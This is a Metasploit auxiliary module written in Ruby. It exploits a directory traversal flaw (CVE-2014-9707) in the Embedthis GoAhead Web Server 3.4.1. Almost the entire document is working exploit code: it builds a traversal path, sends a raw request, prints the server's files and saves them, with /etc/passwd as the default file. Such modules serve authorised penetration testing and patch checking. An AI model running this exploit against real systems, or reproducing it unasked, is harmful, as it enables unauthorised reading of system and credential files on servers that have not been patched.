Embedthis GoAhead Embedded Web Server Directory Traversal

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Auxiliary::Report  
include Msf::Auxiliary::Scanner  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Embedthis GoAhead Embedded Web Server Directory Traversal',  
'Description' => %q{  
This module exploits a directory traversal vulnerability in the Embedthis  
GoAhead Web Server v3.4.1, allowing an attacker to read arbitrary files  
with the web server privileges.  
},  
'References' =>  
[  
['CVE', '2014-9707'],  
['PACKETSTORM', '131156']  
],  
'Author' =>  
[  
'Matthew Daley', # Vulnerability discovery  
'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit module  
],  
'License' => MSF_LICENSE  
))  
  
register_options(  
[  
Opt::RPORT(80),  
OptString.new('FILEPATH', [true, "The path to the file to read", "/etc/passwd"]),  
OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 5 ])  
])  
end  
  
def run_host(ip)  
filename = datastore['FILEPATH']  
filename = filename[1, filename.length] if filename =~ /^\//  
traversal = "../" * datastore['DEPTH'] << ".x/" * datastore['DEPTH'] << filename  
  
res = send_request_raw({  
'method' => 'GET',  
'uri' => "#{traversal}"  
})  
  
if res &&  
res.code == 200 &&  
res.headers['Server'] &&  
res.headers['Server'] =~ /GoAhead/  
  
print_line("#{res.body}")  
  
fname = datastore['FILEPATH']  
  
path = store_loot(  
'goahead.traversal',  
'text/plain',  
ip,  
res,  
fname  
)  
  
print_good("File saved in: #{path}")  
else  
print_error("Nothing was downloaded")  
end  
end  
end  
`